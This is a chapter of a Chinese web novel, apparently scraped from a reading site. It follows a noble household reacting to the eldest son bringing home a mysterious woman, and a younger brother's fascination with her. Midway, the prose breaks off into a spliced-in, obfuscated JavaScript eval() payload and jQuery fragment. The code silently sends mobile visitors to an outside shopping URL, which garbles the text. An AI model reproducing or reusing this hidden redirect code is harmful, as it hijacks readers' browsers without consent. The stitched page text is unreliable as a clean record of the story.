珞郡卫府后宅,梧桐已覆满庭院。

    案间冰盆浮着新荷,袅袅凉气勉强驱散夏日的暑气,却压不下满堂人心中的雀跃。

    “数着日子,恪儿今日该回来了吧。”

    端坐主位的老太太面色红润,慢悠悠开口。

    她身侧的卫夫人眉眼温婉恭顺,轻声回道:

    “是呢,约莫快到了,岸口已经派了人候着。大郎他破了浔川郡的案子,指定是要升官呢,这案子一结,就赶回来给母亲您过寿,也真是双喜临门。”

    卫恪焉的妹妹卫琼韶笑着接话:“母亲莫不是忘记还有贵妃重获恩宠,真算起来明明是三喜临门。”

    话音未落,门外小厮快步躬身急报:“回老夫人、太太,大郎君已然下了船,往府中来了。”

    老太太眉目舒展,连声道:“好好好。”

    卫夫人又接着问道:“郎君这次可是带了个娘子回来?”

    小厮回道:“是的夫人。”

    见众人惊异,卫夫人笑着解释道:“大郎他原先传了信,让家中备着迎侧室的礼,我还以为是嫌我催烦了说的胡话,没敢和母亲说,没想到如今看来竟是真的。”

    老太太侧目,也高兴起来。

    “哦?先前给他精挑细选了几个人,他一概拒之门外,还怪我们扰了他清静,如今倒是自己开了窍。我这回原还准备了几个通房给他,现下看来倒是不必了。”

    此时正是老太太用丹的时候,侍候她用丹的婢女采薇听得此话,手腕一颤,茶水险些泼洒出来。

    老太太的贴身管事张妈妈横了她闺女一眼,真是没出息,大郎君既近了女色,她的机会不就更大了几分。这般失态被夫人看见了,必是要认为她小家子气。

    采薇被瞪了一眼后,垂下头,定了心神,手下动作稳了不少。

    卫琼韶坐在一旁,看出这眉眼官司,抿着唇笑,“也不知是何等容貌性情的佳人,竟让大哥动了心,等她来了我定要去大哥院里好生瞧瞧。”

    老太太就着清茶用了丹,轻咳两声后淡淡环视堂下,“二郎怎么不在,又混到哪去了?”

    卫夫人面上一热,局促地回道:“已经回来了,在院中醒酒了。”

    老太太眉头微蹙,“你也合该好生管管,他大哥回来了都不见人影,皆是一母同胞的亲兄弟,性情怎就这般悬殊。”

    卫琼韶见母亲扯着帕子不自在,忙笑着将话题岔开。

    “祖母息怒,莫要为二哥气坏身子。听闻仙长又给你换了新的丹方,我今日一看您这气色果真是好了不少。”

    老太太神情稍缓,微微颔首,“我吃着是不错。改日请仙长给你们也调个方子好好养养。”

    众人又说了会话,却迟迟没见到卫恪焉的人影。

    卫母暗暗着急,往日大郎回来必是先来入堂请安,从无半点耽搁,也不知今日是怎么了。

    门外传来轻缓脚步声,众人翘首盼着,来的却是前来报信的元辞,“禀老太太、夫人,主子先回院中修整,遣小人先来来传信,他随后就到。”

    彼时听竹院内,一对璧人正在修整。

    舒晏进卫府前早对卫府的富贵有了心理准备,但踏入院子时也不禁惊叹于卫府的奢靡。雕梁画栋,假山流水,这般景致竟不过是听竹院里不起眼的一隅。

    立在她身侧的卫恪焉仍在喋喋不休:

    “院里下人我都吩咐过了,在这院里你便如我一般,想要什么只管随意差遣,不必拘谨。”

    他打量着栖尘的神色,仔细斟酌了一番措辞,才又开口,“我知你心中仍不自在,这几日府中无论谁遣人寻你,你都不必去见。在还俗礼之前,就委屈栖尘在院子里待几天。”

    她点点头,算是应下。

    “你师妹就先在此与你熟悉环境,等还俗礼结束,我再给她安排个差事。”

    舒晏哪里不明白自己分明是被软禁了,看来还俗礼之前他是不能放心地让她出这个院门了。

    他如今对她已经失去信任,处处防着她逃跑。

    见栖尘面无愠色,卫恪焉这才心里松快了些。

    等栖尘安置妥了,他又叮嘱了几句这才恋恋不舍地离开。

    老太太一向疼爱卫恪焉,见他姗姗来迟倒也没说什么,还从私库中又拿了不少宝贝赏给他。

    卫夫人也体贴地关怀了几句,随即又忍不住问道:

    “你这次不是还带了个小娘子回来,得了空让她来见见我,既收了人也该过个明路。”

    卫琼韶也不禁问道:“也不知是什么人家的女娘?”

    卫恪焉笑意淡了些。

    “路途疲乏,她还未安置妥当,等过些日子再带她过来见您和太太,到时候见着了自然就知道了。”

    老太太盯着他看了两息,摆了摆手,“你安排就是了。行了,你也累了,早些回院里歇着吧,明日不用再过来请安了。”

    卫恪焉躬身行礼,语调恭敬:“多谢祖母体恤。”

    他走了之后,老太太淡淡对卫夫人说了句:“你也看着些,莫要招些不三不四的人来坏了恪儿心性。”

    卫夫人知道老太太是不满大郎先去安置那个来路不明的娘子,她忙回道:“儿媳省得,稍后便派人送些东西给那位娘子,瞧瞧究竟是个什么性子。”

    “就让张妈妈和采薇过去瞧瞧吧。”

    张妈妈手里托着本册子,身后跟着捧着红漆描金抬箱的采薇。

    采薇红着眼看向抬箱里头整齐码着的绫罗和首饰,心底阵阵发酸。

    这个份例是按卫府惯例,给新纳的妾室的入门礼。此番给那个娘子的,竟比往日既定规矩的还要优厚几分。

    自己熬了这么些年,却比不过不知从哪来的小娘子,心里总是堵得慌,这次过来既是奉夫人之命看看这个娘子,也是自己想来瞧瞧。

    张妈妈替她扶了扶鬓边的绒花,宽慰道:“没有她也会有别人,老太太喜欢你,你以后的日子便差不了,再说还有我呢。”

    她们到听竹院时,恰好元骁从里头出来。

    张妈妈忙把册子递过去,“夫人吩咐我们二人过来给那位送份例,您瞧这素绸裁里衣,花缎做外裳,另有银子和首饰若干,也不知那位娘子在何处,我好把东西送过去。”

    卫恪焉正从廊下走过,手中也捧着个描金奁箱,只一眼便知里头都是些金贵的东西。他急着给栖尘献殷勤,脚步不停,只粗略扫了眼她们的抬箱。

    “送到库房去吧。”

    张妈妈闻言一愣,“大郎君,这是按姨娘份例送的,也是讨个彩头,娘子虽还没过明路,但总不好少她的东西,委屈了人家。”

    卫恪焉本想上前挑拣几样,可实在是没看上她手里的东西,心中盘算这素绸太粗,贴身穿着不舒服,花缎的花色也旧了,这镯子也不配她……

    于是随意道:“我自会补给她。”

    说罢,便不再看一眼,转身离开了。

    张妈妈无意间扫到了大郎君拿着的奁箱里的东西,顿时瞠目结舌,她跟着老太太多年,一眼便看出他这怀中的珍品,便是老太太也得稀罕,不舍轻易送人的。

    她和采薇从未见过大郎君献宝似的模样,一时没回过神,由着元骁把她们引到库房,将她们送来的东西随意一放。

    等她们回过神,想起夫人的嘱托,忙问道:

    “我们来这一场,总是还要见见娘子吧。”

    “大郎君吩咐了,娘子奔波了一路,这几日都不见人。”

    元骁以为她们想见道长是为了讨赏钱,便分了些碎银给她们。

    张妈妈和采薇恍惚着领了赏钱。眼睁睁看着元骁又从库房里扛了许多布匹。

    她定睛一看,竟是江南新贡的软烟罗,全府也没几匹啊!

    “这也是给那位娘子的?”

    “是啊,先前主子挑了些都不太满意,这些送过去也不知他瞧不瞧得上。”

    说罢,元骁就扛着东西走了。

    采薇回去的路上就把绒花摘了,什么小心思都没了,眼下这情况巴巴地凑上去不过就是自取其辱。

    她们俩走得极快,赶着把事情报给老太太和夫人。

    “竟是没见着人,这份例也看不上?”

    卫夫人笑笑,修剪花枝的手一顿,这小子护得倒紧。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17784278|208090||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    也是,他父亲少时也是这样。

    可能持续多久呢?

    但愿比他父亲长一些吧。

    她随意的几个剪刀便将那些蔓出的杂枝修了个干净。

    有什么好担心的,卫家总不会出个情种。

    “且让他稀罕两天吧,等成了亲便好了。”

    ——

    卫玄玦昨日贪杯宿醉,没赶上见大哥。

    母亲耳提面命他一醒就过去请安。

    他怕他大哥。

    自小便怕。

    任他大哥在外头的名声再如何的好,再如何的人人称颂,他永远记得卫恪焉小时候的执拗,哪怕祖父用家法的藤条,一鞭一鞭抽得他鲜血淋漓也不肯改。

    大哥这两年隐隐有掌家之势,抽起人来也是一鞭一鞭面不改色。

    怎么就能在大哥回来前贪杯了呢。

    悔之晚矣,他深吸了口气,压下心中忐忑,抬步踏进了听竹院。

    周围静悄悄地,他走到一半才发现这门前竟没有侍卫。他心中犯嘀咕,脚下却没停,想着早死早超生,是打是罚挨完也就清净了。

    可偏偏他来的不巧。

    他还没进正厅,便听到屋内传来的隐隐约约的说话声,隔着一道门帘听得不分明,只是依稀听得是他大哥的声音,只是他大哥可能是嗓子哑了,声音听着怪怪的。

    跨门槛时,他垂着头,还在想过会要关心关心大哥身体,哄得大哥开心或许就不抽他了。

    不想掀起门帘,抬头骤然看见紫檀屏风上映着的两个影子,他的身体刹时僵住,眼神不受控制地钉在屏风上。

    纱面薄透,隐隐约约可以看出那两个影子的动作。

    一道原本修长挺拔的身影,此刻似柔弱无骨,正朝里侧俯身倾去,脑袋的弧度轻轻一偏,便伏在女子的颈窝。另一道窈窕纤细的身影倒是坐的笔直,没有推开却也没有回应。

    高大的身影犹不满足,非要在她耳畔说些话,她便把他推开,清凌凌地说了句:“痒。”

    她的声音好听极了,像是冬日的冰凌落在了青石板上。

    他大哥便也不再闹,只低低的笑了笑,伏进她的怀中。

    卫玄玦心脏跳得厉害。

    不知是因为撞上他大哥调情,还是为那没见过面的女子失神。

    他只知道自己像是被定在原地动弹不得,失神间手上的力道一松,门帘垂落的声音惊动了屏风后的两人。

    卫恪焉听到动静,原本松快餍足的影子缓缓直起,他起身从屏风后走出来。

    见是卫玄玦,他眼神里满是不耐,方才嗓音里那股子黏软劲荡然无存,“你过来做什么?”

    大哥的身上沾染了那女子的香气。

    卫玄玦辨不出那是什么味道,只知道他喉咙发紧,声音有些干:“大哥,母亲让我来给您请安。”

    “进门不知道让人通传?冒冒失失就往里闯,真是没规矩。宿醉没醒透就敢过来,母亲就是让你这副样子过来请安的吗?”

    卫玄玦被一顿劈头盖脸的训斥砸得抬不起头,也无从辩驳,只低着头听训。

    卫恪焉衣袖一甩,香气更加明显了,他落下最终判决:“回去,自己领二十藤条,别让我再撞见你喝酒。”

    卫玄玦脸色一白,咬牙应道:“是。”

    他还没出院门,身后就响起了脚步声。

    他的好大哥又回到屏风后面撒娇卖痴去了。

    他心里空落落的。

    他莫名对屏风后的女子产生好奇,究竟是什么样的人才会让大哥对她伏低做小。

    那缕香气还在鼻尖绕着,怎么都散不掉。

    他瞧得分明,那女子对他大哥冷得像块冰,全然都是他大哥在蓄意讨好。

    他大哥一出生便是金尊玉贵的娇养着。权势功名有了,如今还有美人在怀,而自己仅仅是扰了他的兴致便要受罚,何其可笑。

    卫玄玦迈开步子往前走,身后的院子仍隐隐传来说笑声。

    他没有再回头。

    可那缕香气却让他忘不掉。

    挨打的时候,眼前浮现的是屏风后模糊的倩影。